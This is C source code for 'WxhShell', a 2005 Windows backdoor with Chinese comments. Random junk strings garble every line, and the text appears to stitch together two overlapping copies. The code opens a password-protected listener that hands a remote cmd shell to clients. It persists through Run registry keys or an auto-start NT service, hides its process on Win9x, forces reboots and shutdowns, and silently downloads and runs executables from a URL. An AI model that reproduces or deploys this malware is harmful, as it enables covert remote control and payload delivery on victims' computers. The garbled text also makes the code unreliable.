    ExitThread(0); '{&Q&3J_  
    } MIMC(<   
    break; #;[G>-tC  
    }  RD$:.   
  // 关机 56V|=MzX]  
  case 'd': { .-gJS-.c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O?uICnmi6  
    if(Boot(SHUTDOWN)) ,i>`Urd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sSM"~_y\  
    else { q lc@$  
    closesocket(wsh); Knwy%5.Z  
    ExitThread(0); GVY7`k"km  
    } VotC YJ  
    break; \"lz,bT  
    } rXx#<7`  
  // 获取shell mLCD N1UO{  
  case 's': { #QNN;&L]R  
    CmdShell(wsh); K_i|cYGV  
    closesocket(wsh); %>KbaM1b  
    ExitThread(0); \&"C  
    break; 1@]&iZ]  
  } U>S  
  // 退出 Al>d 21U  
  case 'x': { =oAS(7o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +nYFLe  
    CloseIt(wsh); kK &w5'  
    break; ( bwD:G9  
    } 'a#lBzu\b  
  // 离开 (_FU3ZW!  
  case 'q': { !%>RHh[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =p5DT  
    closesocket(wsh); DbGS]k<$  
    WSACleanup(); K%q5:9m  
    exit(1); *X0>Ru[  
    break; ] !/  
        } #p}GWS)  
  } oe<i\uX8z  
  } :_e[xB=Yy  
$/wm k7T  
  // 提示信息 omE- c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X^\D"fmE.  
} VLuHuih  
  } adLL7  
s9Hxiw@D  
  return; C4+DZ<pE  
} 7^dr[.Q[*  
yE}\4_0I/  
// shell模块句柄 wQ33Gc  
int CmdShell(SOCKET sock) >Hf{Mx{<  
{ AC RuDY  
STARTUPINFO si; ]az(w&vqg2  
ZeroMemory(&si,sizeof(si)); '=dQ$fs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mnm ZO}   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; juF9:Eah  
PROCESS_INFORMATION ProcessInfo; u/=hueR<^  
char cmdline[]="cmd"; ~ZKJ:&f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OZ&/&?!XE  
  return 0; X1#Ar)  
} 2Q6;SF"Z  
u)@:V)z  
// 自身启动模式 A \/~u"Y  
int StartFromService(void) `~XksyT  
{ ?fxM 1<8  
typedef struct #^}H)>jWy  
{ l7-lXl"%q  
  DWORD ExitStatus; xfRp_;l+R  
  DWORD PebBaseAddress; {4g';  
  DWORD AffinityMask; M<-Q8 a~  
  DWORD BasePriority; Q(& @ra!{  
  ULONG UniqueProcessId; #b^6>  
  ULONG InheritedFromUniqueProcessId; KA2>[x2  
}   PROCESS_BASIC_INFORMATION; 5wue2/gl  
+[76_EXy  
PROCNTQSIP NtQueryInformationProcess; OAXA<  
^lp=4C9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "xlR>M6e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m.lR]!Y=w  
?lC>E[  
  HANDLE             hProcess; z|pt)Xl  
  PROCESS_BASIC_INFORMATION pbi; yrxX[Hg?@  
)Rn\6ka  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZID-~ 6  
  if(NULL == hInst ) return 0; cZVx4y%kz  
'g%:/lwA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cKTjQJ#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wO]e%BTO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TtkHMPlm_  
KElEGW  
  if (!NtQueryInformationProcess) return 0; f1vD{M ;  
q/@2=$]hH3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?^U?ua6  
  if(!hProcess) return 0; n.g-%4\q  
g+B7~Z5,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D$>!vD'  
&g;!n&d zP  
  CloseHandle(hProcess); ^6 wWv&G[8  
)K[\j?   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yksnsHs}d  
if(hProcess==NULL) return 0; 3)WfBvG  
."wF86jW|  
HMODULE hMod; rt^~ I \V  
char procName[255]; kt6)F&;$  
unsigned long cbNeeded; DQGrXMpV0  
q8P&rMwy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a,w|r#x]  
X):7#x@uy  
  CloseHandle(hProcess); M P8Sd1_=  
sSU|N;"Y  
if(strstr(procName,"services")) return 1; // 以服务启动 DKf(igw  
\-yI dKj  
  return 0; // 注册表启动 *Z#OfB4}  
} ,ayEZ#4.m  
*47/BLys<  
// 主模块 V8/4:Va7 s  
int StartWxhshell(LPSTR lpCmdLine) Xf4~e(O  
{ 3O,nNt;L{  
  SOCKET wsl; qb[hKp5K6  
BOOL val=TRUE; !dT+cZsf  
  int port=0; 3RaW\cWzg  
  struct sockaddr_in door; +(2$YJ35  
:(]fC~G~  
  if(wscfg.ws_autoins) Install(); t+a.,$U  
> -OOU  
port=atoi(lpCmdLine); joI)6c  
~Ykn|$_"I  
if(port<=0) port=wscfg.ws_port; 1(@$bsgu2  
TVcA%]y{;  
  WSADATA data; %rrA]\C'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9)7$UQY  
'^TeV=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n5=U.r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Fc:9a@  
  door.sin_family = AF_INET; $w*L' <  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <yipy[D  
  door.sin_port = htons(port); OK]QDb  
O2>c|=#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E[t0b5h  
closesocket(wsl); Imv#7{ndq  
return 1;  U${W3Ra  
} %g@?.YxjT  
8;?4rrS  
  if(listen(wsl,2) == INVALID_SOCKET) { qm$(_]R~`  
closesocket(wsl); b7>'ARdbzX  
return 1; nsI+04[F  
} XHU$&t`7>g  
  Wxhshell(wsl); yn mjIQ  
  WSACleanup(); o,WjM[e  
G$f%]A1  
return 0; 0o+Yjg>\~8  
f(pq`v^-n  
} b;b,t0wS  
I6 ?(@,  
// 以NT服务方式启动 k^Qf |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M/6Z,oOU  
{ xoo,}EY  
DWORD   status = 0; ?C[?dg{n  
  DWORD   specificError = 0xfffffff; D#LV&4e>.E  
@#4-4.6I<x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?zBu` 7j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ??"_o3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gt.'_hf Js  
  serviceStatus.dwWin32ExitCode     = 0; j"nOxs  
  serviceStatus.dwServiceSpecificExitCode = 0; 0 cycnOd  
  serviceStatus.dwCheckPoint       = 0; I5M\PK/  
  serviceStatus.dwWaitHint       = 0; {[2o  
~snj92K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6|NH*#s  
  if (hServiceStatusHandle==0) return; n.+'9Fj  
2#7|zhgb  
status = GetLastError(); |@AXW   
  if (status!=NO_ERROR) #`u}#(  
{ w6s[|i)&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uHI(-!O  
    serviceStatus.dwCheckPoint       = 0; AfA"QCyO  
    serviceStatus.dwWaitHint       = 0; #r9+thyC  
    serviceStatus.dwWin32ExitCode     = status; `xzKRId0  
    serviceStatus.dwServiceSpecificExitCode = specificError; wGti |7Tu*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z&gma Ywq  
    return; >T[/V3Z~K  
  } itzUq,T  
vb=]00c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; A5Hx $.Z  
  serviceStatus.dwCheckPoint       = 0;  57q=  
  serviceStatus.dwWaitHint       = 0; #tR:W?!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WhW}ZS'r  
} (C. $w  
sYS 8]JU  
// 处理NT服务事件,比如:启动、停止 <'4Wne.z!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2V@5:tf  
{ Q("m*eMRt  
switch(fdwControl) |<c9ZS+  
{ */e$S[5  
case SERVICE_CONTROL_STOP: %<>:$4U@]  
  serviceStatus.dwWin32ExitCode = 0; 9Rk(q4.OP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tKt}]KHV  
  serviceStatus.dwCheckPoint   = 0; 4<($ZN8  
  serviceStatus.dwWaitHint     = 0; r4mh:T4i  
  { 1x_EAHZ>7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M Z"V\6T]  
  } xq;>||B  
  return; 3?B1oIHQ  
case SERVICE_CONTROL_PAUSE: E.*hY+kGZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zn>lF  
  break; a Y)vi$;]  
case SERVICE_CONTROL_CONTINUE: R%3yxnM*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =wX;OK|U(^  
  break; ]ePg6  
case SERVICE_CONTROL_INTERROGATE: q(qm3OxYo  
  break; t#.}0Te7  
}; =u2~=t=LV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,&,%B|gT]  
} -Hm"Dx  
]izHn;+  
// 标准应用程序主函数 7;p/S#P:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LhAN( [  
{ gqv+|:#  
>c0leT  
// 获取操作系统版本 igQzL*X  
OsIsNt=GetOsVer(); MX]#|hEeQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i]<@  
Oey Ph9^V  
  // 从命令行安装 6H0kY/quL|  
  if(strpbrk(lpCmdLine,"iI")) Install(); er_6PV  
|vd|; " `  
  // 下载执行文件 sFZdj0tQ4  
if(wscfg.ws_downexe) { #om Gj&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U)'YR$2<  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0 @#Jz#?  
} pbG-uH^  
ED8{  
if(!OsIsNt) { P6%qNR/ x  
// 如果时win9x,隐藏进程并且设置为注册表启动 _8$xsj4_  
HideProc(); r4u ,I<ZbH  
StartWxhshell(lpCmdLine); z2V ->UK)  
} =eY  
else "d-vs t5  
  if(StartFromService()) Jhj ]`$J  
  // 以服务方式启动 AM?ZhM  
  StartServiceCtrlDispatcher(DispatchTable); ~<u\YIJ  
else i+S%e,U*  
  // 普通方式启动 *As"U99(  
  StartWxhshell(lpCmdLine); 1?)h-aN  
~Q"qz<WO  
return 0; G-D}J2r=F  
} 5n>zJ ~  
Y|mtQ E?c  
GF@` ~im  
ih("`//nP  
=========================================== [6K[P3UZx  
wy|b Hkr_  
yuq o ^i  
@sa_/LH!K  
y+^KVEw  
X r o5~G  
" V,zFHXO  
*pO`sC>  
#include <stdio.h> 'ym Mu}q  
#include <string.h> \*5z0A9)5)  
#include <windows.h> Z[ !kEW  
#include <winsock2.h> a"}ndrc*  
#include <winsvc.h> v\(6uej^  
#include <urlmon.h> !`H!!Kg0L  
[fwk[qFa  
#pragma comment (lib, "Ws2_32.lib") guCCu2OTA%  
#pragma comment (lib, "urlmon.lib") ?Z!R  
BC#`S&R  
#define MAX_USER   100 // 最大客户端连接数 (3K,f4S@  
#define BUF_SOCK   200 // sock buffer \u6.*w5TI  
#define KEY_BUFF   255 // 输入 buffer <2O#!bX1  
cAx$W6S  
#define REBOOT     0   // 重启 `o{_+Li9  
#define SHUTDOWN   1   // 关机 `)8S Ix  
?]*"S{Cqv  
#define DEF_PORT   5000 // 监听端口 iig4JP'h  
\ %xku:  
#define REG_LEN     16   // 注册表键长度 ifWQwS/,a  
#define SVC_LEN     80   // NT服务名长度 5%K|dYv^^  
m1K4_a)^[  
// 从dll定义API r^E(GmW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YHgNL LZ?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5ld?N2<8/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <v\$r2C*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xqDz*V/mD  
3k8nWT:wT  
// wxhshell配置信息 /A>nsN?:]  
struct WSCFG { {a2Gb  
  int ws_port;         // 监听端口 );S8`V  
  char ws_passstr[REG_LEN]; // 口令 @d8Nr:  
  int ws_autoins;       // 安装标记, 1=yes 0=no W}k/>V_  
  char ws_regname[REG_LEN]; // 注册表键名 #l*w=D?  
  char ws_svcname[REG_LEN]; // 服务名 D#,A_GA{A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0XC3O 8q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 re4z>O*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  '"hSX=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6xr%xk2E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Fo0s<YlS-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2H] 7=j  
A&ceuu  
}; PgP\v-.  
EZp >Cf7  
// default Wxhshell configuration A[F@rUZp  
struct WSCFG wscfg={DEF_PORT, AYsHA w   
    "xuhuanlingzhe", 4 B[uF/[  
    1, 6Xn9$C)  
    "Wxhshell", wZ`*C mr  
    "Wxhshell", UsCaO<A  
            "WxhShell Service", [_KOU2  
    "Wrsky Windows CmdShell Service", pOB<Bx5t  
    "Please Input Your Password: ", }dU!PZ9N)  
  1, s|[qq7  
  "http://www.wrsky.com/wxhshell.exe", =<TJ[,h et  
  "Wxhshell.exe" #op0|:/N  
    }; m3(p7Z^Bq  
Aeq^s  
// 消息定义模块 oe=1[9T"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c:B` <  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8RVRfy,w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0hXx31JN N  
char *msg_ws_ext="\n\rExit."; _0ZBG(  
char *msg_ws_end="\n\rQuit."; w xa MdA  
char *msg_ws_boot="\n\rReboot..."; xbCQ^W2YU|  
char *msg_ws_poff="\n\rShutdown..."; l&Y'5k_R  
char *msg_ws_down="\n\rSave to "; .E7"Lfs-  
:+?r nb)N  
char *msg_ws_err="\n\rErr!"; \0e`sOS`L  
char *msg_ws_ok="\n\rOK!"; d+ [2Sm(7  
D '% O<.m  
char ExeFile[MAX_PATH]; (bB"6 #TI  
int nUser = 0; NE Zu?g  
HANDLE handles[MAX_USER]; *.T?#H  
int OsIsNt; N&$ ,uhmO  
 BJg  
SERVICE_STATUS       serviceStatus; h$6~3^g:P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )4 ,U  
|GP&!]  
// 函数声明 H%}/O;C  
int Install(void); 7y.iXe!P  
int Uninstall(void); /cvMp#<]  
int DownloadFile(char *sURL, SOCKET wsh); {/,AMJ<:G]  
int Boot(int flag); VZ 7(6?W  
void HideProc(void); wAL}c(EHO  
int GetOsVer(void); *!dA/sid  
int Wxhshell(SOCKET wsl); W|s" ;EAM  
void TalkWithClient(void *cs); eYu0")  
int CmdShell(SOCKET sock); nC!L<OMr  
int StartFromService(void); !?|xeQ}  
int StartWxhshell(LPSTR lpCmdLine); 8 tIy"5  
K(WKx7Kky^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6V#EEb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OF-VVIS  
-_O j iQ R  
// 数据结构和表定义 jCIY(/  
SERVICE_TABLE_ENTRY DispatchTable[] = -YrMVoZl  
{ Cbm^: _LR  
{wscfg.ws_svcname, NTServiceMain}, Imq-5To#  
{NULL, NULL} Ji6.-[:  
}; $3%+N|L  
lJT"aXt'M  
// 自我安装 $~%h4  
int Install(void) IcGX~zWr  
{ !aL=R)G&e  
  char svExeFile[MAX_PATH]; wTG(U3{3K  
  HKEY key; j9vK~_?;  
  strcpy(svExeFile,ExeFile); Mq'm TM  
g=,}j]tl  
// 如果是win9x系统,修改注册表设为自启动 tE-g]y3  
if(!OsIsNt) { t% <y^Wa=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ed2A\S6tl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5OX[)Li  
  RegCloseKey(key); |k,-]c;6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M.:JT31>1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >VX'`5r>uw  
  RegCloseKey(key); a#& ( i  
  return 0; gFT lP  
    } 18Ju]U  
  } jp^Sw|  
} 5K)_w:U X  
else { ;Me*# /  
9.il1mAKg  
// 如果是NT以上系统,安装为系统服务 g2=PZR$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IOY7w"|LW  
if (schSCManager!=0) ~!cxRd5;F  
{ ()F {kM8  
  SC_HANDLE schService = CreateService i" )_Xb_1  
  ( PL3hrI 5  
  schSCManager, U~;tk@  
  wscfg.ws_svcname, w*;"@2y;eY  
  wscfg.ws_svcdisp, ?(z"U b]  
  SERVICE_ALL_ACCESS, p8?v o ?^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P8ZmrtQm  
  SERVICE_AUTO_START, N-Z=p)]  
  SERVICE_ERROR_NORMAL, RVLVY:h|F  
  svExeFile, !6@'H4cb=  
  NULL, $CX3P)% `  
  NULL, sowwXrECg@  
  NULL, Kfr1k  
  NULL, \g h |G  
  NULL Im@OAR4,R  
  ); uoeZb=<  
  if (schService!=0) 1?1Bz?EKF*  
  { xIC@$GP  
  CloseServiceHandle(schService); gZ7R^] k  
  CloseServiceHandle(schSCManager); x\f~Gtt7Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8&| o  
  strcat(svExeFile,wscfg.ws_svcname); +}a(jO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +@?'dw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x&0kIF'lq  
  RegCloseKey(key); NRx I?v  
  return 0; 9OW8/H&!  
    } {uoF5|O6K  
  } K,,) FM  
  CloseServiceHandle(schSCManager); 3}F>t{FDk  
} g$?^bu dxv  
} MGt>:&s(]  
x3+ {Y  
return 1; c@3 5\!9  
} $D#h, `  
nReld :#T  
// 自我卸载 p\lR1  
int Uninstall(void) r9'[7b1l  
{ Zis,%XY  
  HKEY key; Rqp#-04*W  
J ~3m7  
if(!OsIsNt) { 9Ffam#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;p`to"6IFD  
  RegDeleteValue(key,wscfg.ws_regname); ZL\^J8PRK  
  RegCloseKey(key); PQ[?zNrSV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RO,TNS~  
  RegDeleteValue(key,wscfg.ws_regname); V3q`V/\  
  RegCloseKey(key); xd ^Pkf  
  return 0; UGy3 B)  
  } $DIy?kZ  
} C9sU^ ]#F  
} )Ak#1w&q  
else { /}8Au$nA  
GyN|beou  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jgIG";:Q  
if (schSCManager!=0) ":M]3.  
{ vf{$2 rC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n-cI~Ax+4  
  if (schService!=0) xw 43P.  
  { `@],J  
  if(DeleteService(schService)!=0) { EHm*~Sd  
  CloseServiceHandle(schService); eTvjo(Lvx  
  CloseServiceHandle(schSCManager); (4/"uj5  
  return 0; r+E!V'{C  
  } XNJZ~Mowb  
  CloseServiceHandle(schService); ZF[W<Q  
  } !~~KM?g  
  CloseServiceHandle(schSCManager);  &kmaKc  
} B#%QY\<X  
} uhfK\.3  
i~]6 0M>  
return 1; K}re{y  
} Uq#2~0n>  
-EP1Rl`\  
// 从指定url下载文件 K9%rr_ja!  
int DownloadFile(char *sURL, SOCKET wsh) Za|iU`e\  
{ ]?@ [Ny=0  
  HRESULT hr; V=8db% ^  
char seps[]= "/"; ~ O#\$u  
char *token; <$z[pw<  
char *file; e&VC }%m  
char myURL[MAX_PATH]; =|1_6.tz  
char myFILE[MAX_PATH]; ^7aqe*|vm  
?5nEmG|kO  
strcpy(myURL,sURL); Ba m.B6-  
  token=strtok(myURL,seps); pS+w4gW  
  while(token!=NULL) `KA==;0  
  { ~Yk^(hl2  
    file=token; 3Jizv,?  
  token=strtok(NULL,seps); N)g_LL>^  
  } lOVcXAe}  
VtLRl0/  
GetCurrentDirectory(MAX_PATH,myFILE); p-.kBF  
strcat(myFILE, "\\"); TF :'6#p  
strcat(myFILE, file); dfdK%/' $(  
  send(wsh,myFILE,strlen(myFILE),0); '=E;^'Rl  
send(wsh,"...",3,0); OXrm!'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8)9-*Bzj   
  if(hr==S_OK) jSE)&K4nI  
return 0; ZDmL?mC  
else QNx]8r  
return 1; D8L5t<^1R  
yk?bz  
} =fRS UtX  
&wK:R,~x6  
// 系统电源模块 J"AR3b@,$?  
int Boot(int flag) vEg%ivj3  
{ $~FZJ@qa  
  HANDLE hToken; m* _X PY  
  TOKEN_PRIVILEGES tkp; &!/>B .  
#[=kQ&  
  if(OsIsNt) { NuR7pjNMZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rq3f/_#L!O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qF~9:`  
    tkp.PrivilegeCount = 1; c46-8z$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G%bv<_R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vt}QP Nt  
if(flag==REBOOT) { gvT}UNqL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }X{rE|@  
  return 0; o664b$5nsI  
} 8C3oi&av/{  
else { HN5661;8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5]dlD #  
  return 0; {4 Yx h8  
} O+o)z6(  
  } DK?aFSf\  
  else { aDRcVA$*  
if(flag==REBOOT) { 9Q,>I6`l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Jd7chIK  
  return 0; <CuUwv 'A  
} ly` A,dh  
else { 0`S{>G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ps@']]4>W  
  return 0; nUj`#%  
} o+.L@3RT4  
} I;'{X_9$a  
X,w X)9]J  
return 1;  _ VuWo  
} ;B 8Q,.t>x  
GrG'G(NQ  
// win9x进程隐藏模块 8B*(P>  
void HideProc(void) 4x)vy -y  
{ GxzO|vFQ  
phH@{mI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zk{d*gN  
  if ( hKernel != NULL ) gNW+Dq|X%  
  { Xsa8YP9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); imif[n+]}d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .4v?/t1  
    FreeLibrary(hKernel); EFC+7L(j  
  } "Y<;R+z  
oVK:A;3T|  
return; >G|RVB  
} kZG=C6a  
H-pf8  
// 获取操作系统版本 lkT :e)w  
int GetOsVer(void) *xxk70Cb  
{ =%~- M  
  OSVERSIONINFO winfo; GPLop/6   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z"mVE T  
  GetVersionEx(&winfo); A2gFY}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m OUO)[6y  
  return 1; 0+iRgnd9?  
  else \ Ki3ls  
  return 0; 7_oUuNw  
} )dfhy  
@H`jDaB 9  
// 客户端句柄模块 0qNk.1pv  
int Wxhshell(SOCKET wsl) ^|Z'}p|&  
{ X8m-5(uW  
  SOCKET wsh; z` 6$p1U  
  struct sockaddr_in client; C0f%~UMwd  
  DWORD myID; O W.CU=XU  
4)e1K/PJ)  
  while(nUser<MAX_USER) 9BZ B1o X  
{ >g !Z|ju  
  int nSize=sizeof(client); 2 %fcDEG/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -KC@M  
  if(wsh==INVALID_SOCKET) return 1; 7NRa&W2  
+/celp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J\+fkN<.  
if(handles[nUser]==0) ^J>m4`  
  closesocket(wsh); NB<8M!X/  
else .b_ppieNY  
  nUser++; TXM/+sd  
  } 0B8Wf/j?M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X[h{g`  
&v0]{)PO  
  return 0; +i}H $.  
} =KQIrS:  
]*zG*.C  
// 关闭 socket EE]xZz>o  
void CloseIt(SOCKET wsh) K@e2%hk9x  
{ 4J[zNB]  
closesocket(wsh); =_=%1rI~  
nUser--; >dK0&+A  
ExitThread(0); e+!xy&u@u  
} 8!35 K  
5yt=~  
// 客户端请求句柄 ZFMO;'m&  
void TalkWithClient(void *cs) |e!Y C iU  
{ %|+aI?  
@BLB.=  
  SOCKET wsh=(SOCKET)cs; \y271}'  
  char pwd[SVC_LEN]; }=f\WWJf0  
  char cmd[KEY_BUFF]; 3}V (8  
char chr[1]; 7l-MV n_8  
int i,j; Da)p%E>Q  
,k_ b-/  
  while (nUser < MAX_USER) { +a,#BSt  
%`pi*/(  
if(wscfg.ws_passstr) { D8! Y0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +pSo(e(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v(Kj6'  
  //ZeroMemory(pwd,KEY_BUFF); M*n94L=Sg&  
      i=0; 7./-|#  
  while(i<SVC_LEN) { |8{ k,!P'K  
Xk!{UxQKQ  
  // 设置超时 #\N8E-d  
  fd_set FdRead; %h0BA.r  
  struct timeval TimeOut; }BW&1*M{  
  FD_ZERO(&FdRead); tc.|mIvw  
  FD_SET(wsh,&FdRead); @VHstjos^V  
  TimeOut.tv_sec=8; ~pH!.|k-&  
  TimeOut.tv_usec=0; Zc38ht\r;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4sSw7`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oR`rs[Kj  
*ze/$vz-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "D>/#cY1/  
  pwd=chr[0]; ?{ \7th37  
  if(chr[0]==0xd || chr[0]==0xa) { :''Swi<H  
  pwd=0; s+_8U}R  
  break; +68age;dM  
  } 9G6ZKqum  
  i++; z@ZI$.w  
    } <i ]-.>&J  
W\0u[IV.x  
  // 如果是非法用户,关闭 socket ,>qtnwvlHP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z^*g 2J,  
} si~zg\uY  
L$"x*2[A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (gE<`b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JgHYuLB  
Z$c&Y>@)  
while(1) { E0HE@pqr  
qmPu D/ c  
  ZeroMemory(cmd,KEY_BUFF); b^<7a&  
im+g |9@%  
      // 自动支持客户端 telnet标准   D|$0~1y  
  j=0; OcpvY~"Pr  
  while(j<KEY_BUFF) { oPBKPGD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v5 p`=Z@%  
  cmd[j]=chr[0]; p|qLr9\A  
  if(chr[0]==0xa || chr[0]==0xd) { wZCboQ,  
  cmd[j]=0; .i?{h/9y  
  break; iu{;|E  
  } L{;Q6_m  
  j++; v`'Iew }  
    } "p+oi@  
mW[w4J+7P  
  // 下载文件 dR>$vbjh1Z  
  if(strstr(cmd,"http://")) { <o|k'Y(-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W:WRG8(F  
